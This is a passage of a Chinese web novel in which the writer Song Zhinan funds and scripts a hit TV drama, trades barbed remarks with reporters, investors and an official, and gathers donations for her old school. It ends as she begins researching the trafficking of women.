宋知南说:“客随主便,你随便点就行。” “那就我点他们家的招牌菜了。” 这一顿饭吃得挺愉快,牛抗美是个很好的聊天对象,能说还会说,说话又风趣幽默,怪不得交游那么广阔。 哪怕对方是有钱的红三代,宋知南也没有一点巴结的意思,平常心对待。 她穷的时候就不把富人当回事,要不然也不会整治老板。现在不穷了,还有了点社会地位,更不把富人当回事。 用那句话说,就是“自家富贵,不着意里;人家富贵,不着眼里。”主打一个不把任何人当回事。 再有钱的人不请她吃饭,也跟她无关。 再有权的人只要不给她升官,也跟她无关。 今天吃什么跟她关系比较大。 宋知南这种云淡风轻的世外高人模样,让牛抗美愈发心折。不愧是她喜欢的作家,身上有一种高级的、让人不讨厌的清高,有傲骨但无傲气, 不像上次,她喜欢一个明星,经朋友引荐终于见到了本人,结果对方一听她的身份,对她的态度突然变得特别热情。 牛抗美瞬间下头,突然就不那么喜欢了。 她还是比较喜欢他以前那种桀骜不驯的样子。 这顿饭吃得宾主尽欢,双方愉快地告别。 回去之后,牛抗美就拍板决定投资300万让于红林拍电视剧。 于红林激动地打电话给宋知南:“宋老师,您的面子是真大呀,牛抗美就见了您一面,回来之后就答应投资了。这下我的心定了。对了,这次总编剧必须得是您,别人我不放心。不会耽误您太多时间的,您只需要负责大方向大框架,具体的事自有其他编辑去干。” “行。” 次日,于红林带着合同上门,分红比例仍按以前的约定,10%。 宋知南说:“先暂时这么定,如果后面我追加投资,咱们再补签合同。” 拍摄电视剧的周期比较长,很容易出现拍着拍着预算不够了,如果拉不到投资,只能烂尾或压缩集数,她做好了救场的准备。反正她现在帐上有大几百万躺着呢。 于红林听到这话,不禁喜出望外:“好的,没问题。” 于红林走后,李群英也来找宋知南商量:“知南,你上次说的那个作家经纪人我真的心动了。你看我认识这么多作者,本身又是编辑,也跟多家出版社交过交道,我干这种事那不是得天独厚吗?” 宋知南说:“你可以干个试试。你可以当我的经纪人,我给你5%的提成。” 李群英摇头:“咱俩这种关系,我帮你忙是应该的,哪能还要提成?” 宋知南正色道:“亲姐妹,明算帐。偶尔让你帮个忙可以,但若长时间地麻烦你我也不好意思,如果你拿提成,我就没有任何心理负担了。” 李群英感动地说:“我交到你这个朋友,真是三生有幸。” 宋知南笑着说:“好煽情,都有些不习惯了。” 李群英把自己的想法给格羽罗静林她们一说,两人也十分赞成,表示也愿意跟宋知南一样,愿意聘请李群英当她们的经经人。 “谢谢你们对我的支持,我一定会好好干。” 宋知南还弄了份简易的合同,把自己的作品交给李群英运营,格羽和罗静林有样学样。 李群英摇身一变,成为了三人的经纪人。她焕发了第二春,一有空就风风火火地去外面跑业务。 黄桂枝见自家闺女突然间满面春风的,又是买新衣裳又是买新包的,在家对着镜子背台司,还天天往外跑,就跑过来向宋知南打听:“小南,你跟阿姨说实话,群英是不是谈恋爱了?”其实她也疑惑,当初跟要文她爸恋爱时也没这样啊,难道是因为老房子着火,所以才烧得格外猛烈? 宋知南笑着摇头:“没有没有,她现在是我、格羽、静林的经纪人,在帮我们跑业务呢。” “哦哦。” 黄阿姨放心的同时又有些怅然,“还以为又处上对象了呢。我跟你叔还在猜测男方是干啥的,有没有孩子?要文以后怎么办?这不瞎操心嘛。” 一个星期后,李群英兴冲冲地跑回来告诉宋知南:“宋老师,有个法国汉学家打算翻译你的作品,你的小说将在法国出版发行;还有个美籍华人也打算把你的作品介绍到美帝去。” 宋知南十分惊喜:“李总,你厉害呀。你天生就是干大事的料啊。” 李群英喝了几口茶水润喉,接着说:“下一步,我打算把你推向世界,什么小日子,苏联,英加,每一个都不放过,还有东南亚的一些国家。格羽和静林我也尽量把她们推出去。唉对了,你没觉得从今年开始诗歌的热潮突然下去了吗?” 宋知南说:“确实下去了,它的黄金时代快要结束了。可能文学的黄金时代也没几年了。” 李群英一脸失落:“风潮过得可真快呀。” 下一步,她又重作振作起来:“那我更得加把劲了,时不我待呀。我得催促格羽抓紧时间再出一本诗集,愤怒出诗人,失恋也出诗人。” 宋知南同意:“确实,那个明河伤害了格羽,就应该把他当作素材赚钱。” 宋知南也靠明河赚了点钱,写了三篇杂文骂他。现在明河查无此人,有人说他出国了,有人说他在南方。 半个月后,宋冬宝和宋知夏风尘仆仆地回来了。 宋知夏的神色有些哀伤:“妈去世了,我们给她办完了丧礼就回来了。” 宋冬宝说:“咱妈并没有死不瞑目。她的两个继子被我吓得胆战心惊的,我夜里假装梦游,拿着刀要割他们的鸡蛋,他们吓得嗷嗷叫。他们的爹也被我吓得够,我跟他说:咱们是一家人,我就算梦游把他们全家的鸡蛋都给割了,公安也不会重罚我,最多拘留一阵,就算判个几年我也能承受。 我孑然一身,没对象没工作,现在全靠姐姐养着,我姐要有点事我的生活也没着落了,那不如就弄了他们父子四人,进去吃国家饭,也不用担心生活无着了。他们一家人吓得夜里睡觉都睁着眼。丧事一办完,他们就赶紧帮我俩买了火车票送我们回来。” 宋知南欣慰地说:“冬宝越来越聪明成熟了。” 宋冬宝心中得意:“毕竟在首都混了这么久了,本事肯定长点的。” 宋知南笑着说:“你们俩辛苦了,一会儿我让饭店送几个菜过来,给你们接风洗尘。” 宋知南问他们花了多少钱,她给报销。 宋冬宝不在意地说:“不用报了,我有钱。” 他之前在秀水街摆摊,每天能拿30多块钱的提成。 后来为了照顾姐姐,他干脆把小商品批发给别人,每月都能大几千,他也能拿到一千多的抽成。 宋知夏以前觉得自己的日子过得还不错,大学辅导员,听上去挺体面,工资虽然不太高但也不低,学校有宿舍有食堂,她能把大部分的工资都攒下来。 现在跟弟弟妹妹一比,她就觉得自己的日子差远了。 那个叫野心的东西又逐渐被唤醒了。 她问宋知南:“三妹,我现在有一个问题,我觉得我的性格并不适合当辅导员,虽然我干得也挺好,但我对工作燃不起热情。其实我想下海经商。但是吧,我的同事和朋友又说,下海经商是那些没有单位的人干的,我们是大学生又有这么体面的工作,不应该丢了西瓜去捡芝麻。我一直犹豫不决。” 宋知南说:“我觉得我们上大学,是为了让人生多一个选择。就是你既可以做体面的工作,也可以去干别的。而不是被它框住了,只能上班,不能干别的。 反正你现在独身一人,又没有家庭拖累,想干什么就干什么呗。失败了也能有兜底,老家还有一栋房子呢,我也能帮你。” 宋知夏豁然开朗:“你说得对,是我想窄了。湘湘也想辞职,但伯父伯母和她爱人一家都不让她辞。” 一个星期后,宋知夏启程回河东。 她回去不久就办了停薪留职,开始下海扑腾。 宋冬宝低调地当着他的秀水街小老板和高级助理,宋知南开始筹备她的下一部大长篇,同时还得兼任着电视剧的总编剧,有时还要配合李群英推广她的作品,每天忙碌而充实。 《冢中花述》有关部门说名字太丧气,不符合主流价值观,建议改名。于红林连夜跟宋知南商议,最后改成《无畏的女人》,才勉强通过。 《无畏的女人》一共50集,拍了两年多才杀青,最后预算果然不够,因为后面物价上涨了一波。宋知南投了100万进去,于红林也去拉了别的投资。 杀青那天,剧组工作人员喜极而泣,互相拥抱庆祝。 为了造势,于红林决定召开一场记者招待会,宋知南做为原著作者和总编剧当然也要参加。 灯光闪个不停,问题一个接一个地抛过来。有的记者挺有职业道德,提的问题也很专业。有些就不行了,专门问一些对方不好回答的问题,比如问女演员的私人生活。 对于宋知南他们自然也不放过,宋知南听到他们这些千篇一律的问题,不禁直皱眉头,她怀疑这些人都是一个学校统一培训出来的,提问像是有模板似的。 还好,她早有准备。她从包里拿出三张纸,上面把以前记者提问过的问题和她的回答全部打印了出来,然后拿给现场的记者看。 “请大家先传看一下,别人问过的问题就别问了,问些新鲜的。” 大家面面相觑,这些问题确实是他们最想问的,比如怎么平衡家庭和写作,比如宋知南的感情生活等等。 这些记者智商虽然不高,但还是有点的,他们换汤不换药,类似的问题换个方式提问。 有个记者问道:“宋老师,你为什么不结婚不恋爱?” 他很鸡贼,没敢再问你是不是被男人伤害过,因为害怕宋知南反问他,你不跟男人恋爱是不是被男人伤害过。 宋知南:“天地如此之大,爱情算个啥?举目望遍全世界,没有一个值得爱。” 这个记者继续追问:“这个世界上还是有很多好男人的,如果你能找到一个跟你有共鸣的灵魂伴侣,那你的人生岂不是更圆满?” 宋知南被逗笑了:“我的灵魂非常圆满,已经不需要灵魂伴侣了。况且,绝大多数男人是没有灵魂的,有灵魂的那些人已经死了。 那些死去的先哲,活着的闺蜜,看我书的读者,我跟谁共鸣不行?我非跟那些天生缺了一根弦的男人寻找精神共鸣,我难道有病吗?” 提问的记者一脸尴尬,其他人也交头接耳小声议论。 台上的那些演员们用敬佩的目光看着宋知南,她们羡慕宋知南的尖锐直率,她们心向往之,但不敢这么做。 “宋老师,大家都说您的作品中受西方女性主义思想的影响。有人说,搞女性主义的女人一般都是丑女,她们得不到男人的爱所以才变得如此偏激。您对此怎么看?” 这个问题的攻击性很强了,于红林的目光像刀子似的刺向提问的那名男记者,这个傻叉一定是她的竞争对手派来的。 宋知南:“有些男人喜欢把不顺从他们的女人歪曲成丑女。一般说这种话的男人都是阳痿,因为不行,所以心理扭曲。 还有就是,他们得到了很多男人的爱情,把女人当成了竞争对手,所以才这么污蔑女人。” 台下一片哗然。 记者皱眉:“宋老师,您在公众场合这么说不好吧?您伤害了很多男同志。” 宋知南赶紧道歉:“对不起,我没想到你也是这种情况,你想开些点。” 记者:“我、我不是——” 宋知南温柔地打断他:“我理解你的心情,但你没必要向我解释,反正我也不是你对象。” “哈哈哈。”人群中爆发出一阵放肆的笑声,人们循着笑声看过去,原来是牛抗美和她的姐妹,两人一时没憋住。 既然有人开口笑了,他们跟着一起笑应该没事吧。笑声此起彼伏,那名记者的脸红了白,白了红。 第三个记者硬挤了上来:“宋老师,您对文化圈和艺术圈内部流传的性解放怎么看?” 宋知南:“性解放?那不是你们男人之间的事吗?跟我们女人没什么关系,毕竟女人解放自个儿就行了,为什么便宜你们?寻找快乐的方式那么多,为何非在你们身上找?你们身上哪里能让女人快乐?就凭你们长得丑,凭你们身上的那根针?每次针灸五秒钟?” 记者纠正道:“性解放就是男女之间的解放天性,不是男人之间的。” 宋知南:“解放天性?我觉得最好还是不要。有的人的天性就喜欢让男人鸡飞蛋打,你让她解放了那岂不是触犯法律了?” 现场再次爆发出一阵笑声。后面的记者拼命往前挤,女记者的提问正常许多,大多是提问一些电视剧和拍摄情况。 记者招待会之后,宋知南还要跟着于红林和牛抗美等一帮投资人去参加庆功宴。 这些投资人构成身份很复杂,有倒爷,有靠摆摊发家的老板,也有煤老板,除了于红林牛抗美和宋知南三个女同志们,其余都是男同志。 于红林说:“你去露一下脸就可以离开了,剩下的由我俩应付。”这帮人没什么文化,说话荤素不忌,她怕宋知南不习惯。 宋知南笑笑:“没关系,是时候给他们点震撼教育了。” 出乎于红林的意料,这帮人虽然没什么文化,但对宋知南态度是相当客气恭敬,恭维话不要钱似的往外倒。 “宋老师,久仰久仰。” “宋老师,能跟您一起吃饭,我真是三生有幸。” …… 其中有个胖头大耳、满脸油腻的中年老板老谢,越夸越上头,说道:“宋老师,别的男人骂你说你坏话,我老谢跟他们不一样。我敬佩您,打心底敬佩您。像您这种从不拿男人一针一线,一切靠自己,谁都看不上的女人我们男人哪怕嘴里不服,但心里是服的。我们最讨厌的是那些表面装清纯装清高,但实则全靠男人生活的女人。跟她们一比,您就是九天玄女。” 牛抗美哈哈大笑:“老谢,你够了哈。不就是那个小明星把你甩了嘛。” 老谢尴尬地笑笑,“给点面子行不行?” 宋知南语气温和:“谢老板,你这么说就不对了。你口中所说的那些女人才让人佩服。” 众人不由面带惊诧,这又是怎么说的? 宋知南语不惊人死不休:“各位老板,你们是不是从十几岁就开始想着,等我以后有钱了,什么样的美女找不到?” 大家哈哈一笑,没人承认,但也没人否认。 “你们看,找喜欢钱的女人可是你们从小的梦想啊。如今你们的梦想实现了,咋还诋毁起梦想呢? 我为什么说那些喜欢你们钱的女人才值得敬佩? 因为她们为了一点钱,要忍受着你们的丑陋,忍受你们满嘴的口臭,温柔地倾听着你们自恋地吹牛,连你们的亲妈都忍受不了你们,但她们能。人家如此爱岗敬业,收你们一点钱怎么了? 我要是你们,我会心甘情愿地双手捧上钱包,我会永远心存感激,没事我就在床上给她们磕一个,再给她们唱一个:你是我的梦想,我的菩萨。我谢谢你的大爱,你的施舍。” 众人瞠目结舌,无人应声。 牛抗美酝酿了几秒钟,突然拍着桌子狂笑起来:“哈哈哈,笑死我了。” 于红林也跟着一起笑。 宋知南端起酒杯,优雅地说道:“开个玩笑,活跃一下气氛,来来,我敬大家一杯。” 宋知南在宴席上露了一下脸,震撼了一下大家就飘然离去。 她离开以后,酒桌上的老板们不由得擦了一下脸上的汗,心有余悸地说道:“有文化的女人就是厉害呀,骂人不带一个脏字。” 有人喃喃自语道:“原来我的那些女朋友都是菩萨呀。” 还有人问旁边的人,“老刘,我真的有口臭吗?” “你说呢?” …… 聚会结束后,牛抗美没有直接回家,而是特意绕路去宋知南家,专程向她表示敬意:“宋老师,我长这么大,没服过谁,但我就服您。” 宋知南惊讶道:“不会吧?你现在才服我?你不应该一见面就服吗?” “嘁,说你胖你还喘上了。” “进来喝杯茶不?” 牛抗美摇头:“不喝了,家里还有小美人等着我呢,我就是专门来向你表示一下敬佩。乘兴而来,兴尽而去。” 《无畏的女人》一经播出就掀起了空前的讨论热度。 女主角元北宁泼辣飒爽,金句频出,故事跌宕起伏,不走寻常路。时而让人愤怒地紧握拳头,时而让人捧腹大笑,辛辣的讽刺中蕴含着深刻的哲理。它没有喋喋不休地说教,但却让人们在娱乐中受到了教育和震撼。 当然,也有些观众对里面的角色分配很不满。 “为什么男性角色没几个正面的?” “可是你不觉得里面的男配角都很常见吗?感觉都见过似的。” “可是正面角色就是少啊。” “那说明现实中正面的男人本来就少啊。” “不对,不应该是这样的。” …… “都十几集了,为什么男主角还没有出现?” “好像这剧没有男主角。” “那怎么能行呢。” “导演是怎么想的?这么好看的剧却不给配上男主角。” “对啊,我好想看元北宁智斗公公婆婆,大战大姑子小叔子。” “格局小了。这么拍就落入俗套了。” …… 《无畏的女人》让于红林和宋知南成为全国家喻户晓的名人。现在连偏远的乡村都知道了有个大作家叫宋知南,骂人特别厉害。 电视剧的热播也带动了原著小说的热卖,出版社连夜加印。 而宋知南的家乡青阳市南星区做为小说的发源地,也引起了很多人的兴趣,有的人不远千里过去探寻真相。 南星区的人们在各位领导的教导下,早已做好准备。 “《无畏的女人》你们也看了吧?” “都看了。家里有电视的直接把电视搬到胡同口让大家看,工厂食堂也安了电视,大家吃饭时看。” “这里面的角色都是取材于你们这里是吗?” “理论上确实是这样的。” “可是电视剧出现那么多反派,你们会不会觉得不舒服?” “有啥不舒服的?我跟你讲,那些人比电视里讨厌呢。反派咋了?难道你生活中遇到的全是好人?如果都是好人,前两年严打国家咋杀那么多人呢?大运动是咋闹起来的?人家宋知南实话实说咋就不行了?非得把人夸成一朵花呀?” “如果宋知南骂的是你或是你的家人,你还会替她说话吗?” “我实话告诉你,她就是骂我本人,我还会这么说。我们这里的人跟你样可不一样,毕竟是作家故里的人,眼界格局都不一样了。爱之深才会骂之切,像你这样的,我们宋大作家都不稀得骂你。” 提问者:“……”他连被骂的资格都没有吗? 也有人去寻找算命的张大爷,张大爷年纪大了,耳朵有点背,脑子时清醒时糊涂的,但一提起宋知南,他浑浊的双眼闪闪发光:“哦,你说她呀。我早说过,她是文曲星下凡,将来必将颠覆文坛。你们看,我说中了吧。” “那您能老人家再算算,咱们这里下一个大人物是谁吗?” 张大爷摇头:“大人物是白菜萝卜吗?那么随便就出现?我夜观天象,发现这几十年内是出不了小宋那样的大人物了。” “听说宋知南的父母和哥哥都不在了是吗?” “他们的命太薄,承受不住这样的大福气,所以老天只能把他们收走了。” “哦——” 探寻真相的人问了一圈,更加迷惑了。到底是什么样的精神让这些人连被骂都甘之如饴呢。想不通,实在想不通。这个地方的风气实在太怪了。 他们又去了宋知南的母校——青阳四中。青阳四中这几年的变化特别大。 去年宋知南给他们捐赠了一间图书室。还说等电视剧的分红拿到手,要和朋友一起给母校捐赠一栋教学楼。 另外,宋知南还设立了一个“南星奖学金”,专门支助家境贫寒但成绩好的女生,有当地政府和妇联以及人民群众共同监督。一旦发现资金有挪用现象,立即曝光。 来青阳的除了这些好事者,还有白衣带领的记者团,她主要是来探亲,朋友们一听说她也是青阳的,非要跟着她一起来。 这帮记者们专业多了,乡亲们更是积极配合,一方愿意问,一方愿意说,双方配合得极好。 半个月后,报纸杂志上出现了大量关于宋知南的文章,而且还以夸赞为主。 宋知南有些疑惑,有人夸她很正常。但这么多人同时夸就有点反常了。 她打电话问于红林:“你花钱雇人夸我了?” 于红林断然否认:“不可能,我穷得咬人。要真这么干,我肯定找你报销。那这事到底是谁干的呢?” 牛抗美?也不大可能,这家伙不是干好事不留名的主儿。 猜了一圈,宋知南才知道是白衣带着记者团回乡了。 白衣笑着说:“宋老师,咱们青阳的人们是真可爱啊,觉悟特别高。”一个个都像过专业训练的似的。你随便采访一个人都能侃侃而谈,有条理有内容。 宋知南语气复杂:“是啊,咱们家乡的人们都挺好。我爱他们爱得深沉。” 所以,才骂他们骂得这么狠。 白衣又问道:“宋老师,听说您想给四中捐赠一栋教学楼?” “是有这个打算。” 白衣笑道:“算我一份。光靠咱们的力量太有限了,我看看能不能再拉几个有钱的人进来。最好把整个学校都翻新一下。” “行行。” 宋知南想了一下,也给牛抗美打了个电话,开口就问:“你现在虽然有钱身边有小情人,但你是不是总觉得心灵莫名的空虚?总是有莫名的烦恼,说出来别人说你矫情,不说你又难受?” 牛抗美惊呼道:“你真是神了,你怎么知道?” 宋知南说:“最近有大老板也有这种症状,这就是有钱人的烦恼,但我帮你们找到了解决方案和救赎之道,那就是做慈善积攒功德。有很多老板非要哭着喊着要捐款给我的母校,我想着你是我的好朋友,我特地给你留了一个名额。” 牛抗美迟疑片刻,就爽快答应:“行,那就这么定了,我捐50万,本来打算给我的小宝贝买辆车的。这钱就捐了吧。” 宋知南好心地劝道:“你是不是傻?哪能给男人花那么多钱呢?你这么做一是会惯坏他,二是会让他翅膀硬了,他一硬不得飞了呀?你看看那些男老板是怎么做的?给情人花小钱可以,绝不能花大钱,更不能让他们有资产。以后别找那些太物质的男人。” 牛抗美瞬间清醒:“南姐,不愧是你。你连这个都懂。真的,我真傻。我以前觉得你没包过情人,肯定不懂这行,没想到你什么都懂。失敬失敬。” 牛抗美捐了50万,还拽着朋友们捐了10万。白衣那边也拉了50万的捐款,再加上宋知南的50万。 收到这些捐款,青阳教育局笑歪了嘴,青阳四中的师生们感动得热泪盈眶。 南星区的邻居们也愈发坚信,宋知南骂得好骂得对,骂他们一顿捐个学校,孩子们再也不用在破学校里上学了。 骂一骂怎么了?又不是多金贵的人。别的地方的人想被骂还没这个机会呢。 有人撺掇王翠花给宋知南写了封信:“下一部剧,你还骂我们吧。”王翠花写完,大家们一起签名。 宋知南收到这封信,愣怔了好一会儿,她家乡的人们是如此地喜欢受虐吗?她随手写的那个理论的含金量还在上升。 她若是搞研究,是不是能对祖国的学术界造成威胁? 青阳四中的新楼一栋栋拔地而起,最先建好的是知南楼,第二栋是抗美楼,第三栋是白楼,依次这么排下去。 宋知南把抗美楼的照片发给牛抗美,“此时此刻,你是不是感觉到一种前所未有的成就感?一种说不清道不明但又确实存在的充实感?” 牛抗美闭眼感受一下,宋知南说得都对。做慈善就是这么让人充实。 她打算推迟一年换情人,把钱捐出去建小学。 牛抗美感受完心灵的满足后,顺便邀请宋知南参加她爷爷的八十大寿。 宋知南爽快答应。 牛家那天的宴会热闹而不喧哗,饭菜简单有特色。牛老爷子精神矍铄,目光炯炯。 宋知南过去打过招呼就完事,对老人家礼貌客气但不谄媚。 谄媚的人多了去了,又不差她一个。 她现在的人设随着身份略有改动:有傲骨有原则有锋芒,有见识有格局。不捧高不踩低,浊世中的一股清流,文坛上的一缕狂风。 宋知南打完招呼退下,准备吃点喝点。 旁边坐着一个面容威严的老男人,一直在朝她看。 宋知南坦然无惧地跟他对视。 对方朝她颔首微笑:“你是宋知南?我姓祝,是你的同班同学祝景星的父亲。” 宋知南“哦”了一声:“祝伯伯好,没想到能在这里遇见您。” 祝父神色复杂:“抱歉,我当初拆散了你们。” 宋知南纠正道:“不,你没有拆散我们,因为我根本没看上你儿子。” 祝父:“……” 宋知南朝他淡淡一笑:“你儿子值得更好的,而不是我这种最好的。” 杠精值1000。 宋知南眼中光芒大盛,仿佛看到了她领地范围内少有的猎物。 她本来打算换个位置,现在也不换了,跟对方聊起来。 “祝老同志,你在家一定很霸道吧?” 祝父不动声色地答道:“我很温和。” 宋知南笑着摇头:“不可能,祝景星在家里一定感觉到非常压抑非常窒息,所以才想找我合作。他应该想找一个有反骨有能力的对象替他反抗您。无奈,我实在太聪明太清醒了,就没上当。” 杠精值1000。 “小宋同志,你真的很勇敢,你是我见过的最敢说的知识分子。” 宋知南:“如果一个国家的独立知识份子都要对官员卑躬屈膝,唯唯诺诺,那就说明这个国家要完,我越勇敢,说明咱们国家越有前途。跟您聊天我很愉快,您愉不愉快我就不知道了。再见。” 牛抗美在一旁目睹了宋知南的怼人经过,惊讶得半天才合上嘴。 她过来悄声说道:“那位是刚调到首都的商业厅厅长。” 宋知南说:“原来是厅长啊。”怪不得杠精值这么高。 牛抗美问道:“你是怎么认识他的?” “他儿子跟我是同学,对我有意,我拒绝了,但他却到学校调查我。” 牛抗美起初有些惋惜,随即又自己释然道:“挺好的,你这种情格不适合嫁入高干家庭。你这样多自在。” 她做为这种家庭的女儿有时候都感觉到窒息,要是当儿媳妇,那不得憋成神经病啊。 宋知南在牛家吃饱喝足,告辞出来。 她一路迎着风哼着歌儿朝家走。 今天可真高兴,她年纪越大,越活得自在,世上没有她羡慕的人,也从来也不想成为别人。 “我与我周旋久,宁做我。”这句话,正是她的最佳写照。 宋知南心中略有所感,快步回家,冲进书房,在记事本上写下一段话: “波伏瓦说,‘我确信自己内心的财富将被世人接受,我说的话将有人听,我的一生将成为其他人汲取的源泉,这是一种使命的确定。’我也想对自己说话句话。 我将一直走在属于自己的路上,我永远年轻,永远斗志昂扬,永远热情奔放,永远让别人眼泪盈眶。” 正文完。 第155章 宋知夏下海扑腾了两年后, 变成了宋老板。 当上老板后,她终于找到了生命的激情和人生使命。 她的抠, 她的擅长察言观色,她的算计精明全都有了用武之地。再加上,她还是大作家宋知南的亲姐姐,一般人会给她几分薄面,轻易也无人敢惹。 宋知夏先是开店,从南方倒腾服装和各式小商品回河东卖,接着,她和宋湘合作开起了服装厂,资金不太够,宋知南给她投资30万。宋湘看宋知夏越混越好,正好她那个服装厂快倒闭了, 直接辞职跟着宋知夏一起干。 她爱人坚决反对, 宋湘早受够他了, 果断带着女儿离婚。 大伯母何梅气得直跳脚,这个女婿可是千挑万选的, 性格好, 人品也不错,结果宋湘竟然不跟她商量就离婚了,还辞职下海了。 何梅打电话跟宋知南哭诉,宋知南劝道:“大伯母,有句话我本来不想说,但看你这么难受,我也只好说了。我在首都这边请白云观的老道长给算了。他说咱们宋家的女孩都是大富大贵的命, 但有一个前提是婚姻都不太顺,换句话说, 就是男人克我们。谁嫁人谁的日子不好过,你看我二姐不就是吗?一离开男人就过得风生水起,不信你等两年再看看。” 何梅将信将疑:“真的吗?怎么会这样啊,我就说了宋家的祖坟风水不行,你大伯非说我迷信。唉对了,宋家的男孩呢?道长咋说的?” 宋知南唉声叹气:“宋家的男孩命更惨,要是行正道走正途不乱搞男女关系应该没事,一旦起歪心,某个部位就没了,你看秋实和冬宝不就是现成的例子吗?” 何梅惊得一拍大腿:“我得赶紧告诉你哥去,他可不能乱搞男女关系。” 宋湘本来以为自己要经历一场家庭大战,没想到被宋知南轻轻松松给化解了。 她一高兴,就大方地给宋知南寄了一箱子衣服,光风衣就有四件。 像知南那么冷酷的女孩风衣一穿,墨镜一戴,谁都不爱,多威风啊。 宋知南收到衣服一试,非常满意,宋湘确实是个人才啊。她搜集了一些国内外的时装杂志打包寄给宋湘,并写信告诉她,下部剧里女主女配的衣服就由她们赞助。 宋湘收到信和杂志,激动地在办公室里大呼小叫的。 宋知夏见妹妹主动帮她们,心里也非常感动。 她摸摸自己微微隆起的小腹,也不知道妹妹会怎么看她,算了,还是坦白吧。 宋知夏等到大家都下班了,拿起电话,怀着复杂的心情拨通了宋知南家的电话。 她先是道谢:“湘湘收到你的信和杂志激动得在办公室里大喊大叫的,三妹,太谢谢你了。我做梦都没想到,我们湘夏牌服装还能上电视。你放心,我们一定会好好把好质量关,绝不给你丢脸。” 宋知南笑道:“你们俩好好干,我看好你们。” “嗯嗯。” 宋知夏迟疑片刻,向宋知南坦白了:“三妹,有一件事我得告诉你,你想骂我就骂吧。” 宋知南疑惑:“你又干什么了?” 宋知夏吞吞吐吐:“你知道的,我经过一次婚姻后,对男人和婚姻彻底绝望。这些年有很多人向我表示过,我犹豫再三最后都拒绝了。 可是,我又想有个自己的孩子,特别是想要个女儿。 眼看着年纪越来越大,现在不生,可能过几年就生不了了。正好我身边出现了一个人,他年轻,长相不错,学历也高,而且正准备出国留学,我就略施小计把他睡了,然后就怀上了。上个月我还做了胎梦,我感觉是个女儿。这件事我一直在犹豫怎么告诉你,我怕你看不起我,骂我。” 宋知南消化了一会儿,才说道:“不是,二姐,你脑子转得挺快呀。思想也够解放,借种的人选也选得相当妙。你不愧是我二姐,身上是有几分聪明在的。” 宋知夏本来挺忐忑不安的,一听到妹妹这么说,心头的石头彻底放下了。 “我还以为,你会看不起我呢。” “我干嘛看不起你,你想生就生,咱们养得起。” 宋知夏笑着说:“我会好好养这个孩子的,咱们小时候受的苦我一点都不会让她受。名字都我想好了,就叫宋如锦,前程似锦。小名就叫掌珠,掌上明珠。” “挺好的。” 宋知南挂了电话,吩咐冬宝:“冬宝你要当舅舅了,二姐要有孩子了,你给她寄两箱补品回去。” 宋冬宝点头答应,随即又想到什么,问道:“二姐结婚了,为什么没告诉咱们?” 宋知南说:“她没结婚,但有孩子了,最近比较流行这个。” “啊?哦,我明白了。” 《无畏的女人》被各家电视台轮番播放。收视率远远超过了同一时期的热播剧《俺妈刘春花》、《妈道》。 于红林又开始筹划下一部电视剧《勇敢的女人》,这个剧改编自宋知南的小说《女人的风格》和《唐厂长改革记》,之所以叫这个名字,也为了蹭第一部剧的热度,她不蹭别人也会蹭,这个圈子就是这样。 宋知南现在是圈内的金牌大编剧加投资人,很有话语权。 她偶尔也会投资一些别的影视剧,不断地有导演上门求合作。 宋知南一般先看剧本,对剧本满意的话,再跟导演聊聊,考察一下对方的文化水平、思想境界、职业素养。 宋知南有时看到离谱的剧本设定,就忍不住直接开怼。 有个导演拿着《武则天传奇》的剧本给宋知南看。 宋知南看完剧本直接问道:“最后一集最后一段你想表达什么呢?让上官婉儿问武皇到底爱过谁,上官婉儿不会问这个问题的,是你本人想问吧? 历史上就这么一个女皇,你们不拍她的功绩不拍她的政治理想和她的抱负,却一直在臆想她到底爱谁不爱谁,你的脑子里那么有爱,咋不爱你老婆呢? 武皇她爱江山也爱美人,李世民、李治、薛怀义、张易之兄弟俩,控鹤府的男宠,哪个她都爱。” 导演和主创人员的脸色十分精彩,只能尴尬又不失礼貌地笑着。 宋知南接着说道:“还有那个主题曲建议改了,什么大明宫金碧辉煌,我心依旧凄凉。谁住在大明宫里会心里凄凉?女皇她高兴都来不及吧? 还有什么‘来世做个寻常女人,和你相依相偎。’武皇她是没做过寻常女人吗?寻常人家这么好,为什么大家都拼了命往上爬?她就不能天生有野心吗?你们这样写就相当于农村的拾粪老大爷臆想自己当了皇帝后,全紫禁城的粪都归他拾一样可笑。” 导演不服:“那您又怎么知道武则天她一定不会这么想?” 宋知南:“因为我也是女人,还是个成功的名女人。我懂历史,还懂她。你们懂吗?你们懂个啥,你连张易之都不懂,因为你从来没有过美貌,也从来没有被成功女人宠爱过。” 导演:“!!” 导演带着满肚子的委屈和不服,气鼓鼓地离开了。 宋知南再次一骂成名。 宋知南除了爱骂人,还爱坐剧组里的工具箱和镜头箱,哪里不让坐,她就越喜欢坐哪里,说坐在上面有灵感,还说她坐过的剧组必火。 大家起初不信,但后来有人证实确有此事。她坐过的那几个剧组拍的剧真的火了。 这个圈子的很多人身体很解放,发言很前沿,但思想最封建。 还真有人信这个传言,有导演和制片人专门请宋知南去坐他们剧组的工具箱和镜头箱。 其中还有那个胡导和白导,宋知南一看这两人,直接拒绝。 两人气得七窍生烟,这个宋知南再三拒绝他们,一点都不把他们放在眼里,他们要联合起来封杀她,让她在这个圈子里混不下去。 两人一向大家提议,大家用看白痴的目光看着两人:“你俩脑子进浆糊了吧?还封杀她?就你们也够格?现在多少导演制片人求着买她的版权,求着她投资,你们还封杀,真是可笑。” 有人劝道:“听说你们上门求合作被宋老师拒绝了,一直怀恨在心?做人大度些。文化人有性格很正常。” 有人转头就告诉了宋知南,宋知南淡声说道:“天凉了,这两人也该被封杀了。以后哪个剧组敢用他们,我就不跟这个剧组合作,有他们无我。你们看着办吧。” 还能怎么办?他们当然选择站在宋知南这边了。 胡导和白导想封杀别人没封成,倒把自己给封了,一时成为业内的笑柄。 第156章 何黛大学毕业后被分配到了青阳市妇联。杨主任退休后, 她当上了市妇联主任。 她以前宋知南一起工作时,就学着她记工作笔记, 现在一直保留着这习惯。 她跟宋知南偶尔有联系,上个月,何黛寄给宋知南寄来了三大本工作笔记,并写了一封信,说她希望这些资料对宋知南的写作有些用处。 何黛还在信中说了一件让人倍感痛心的事,近几年来,时不时地有女孩被拐。 半年前,青阳市有一个女大学生失踪了。家长已经报案,公安说应该是被拐卖了,但是,人大概率是找不回来了。 家长悲痛欲绝, 妇联深感痛心但又无能为力。她问宋知南能不能写写这个题材?引起社会各界的重视。如果不方便写就算了。 宋知南看到这封信, 心头像压了一座山的沉重。她能为此做些什么呢?唯有以笔为武器, 她当然要写。 宋知南开始搜集拐卖妇女方面的新闻,不搜不知道, 一搜吓一大跳, 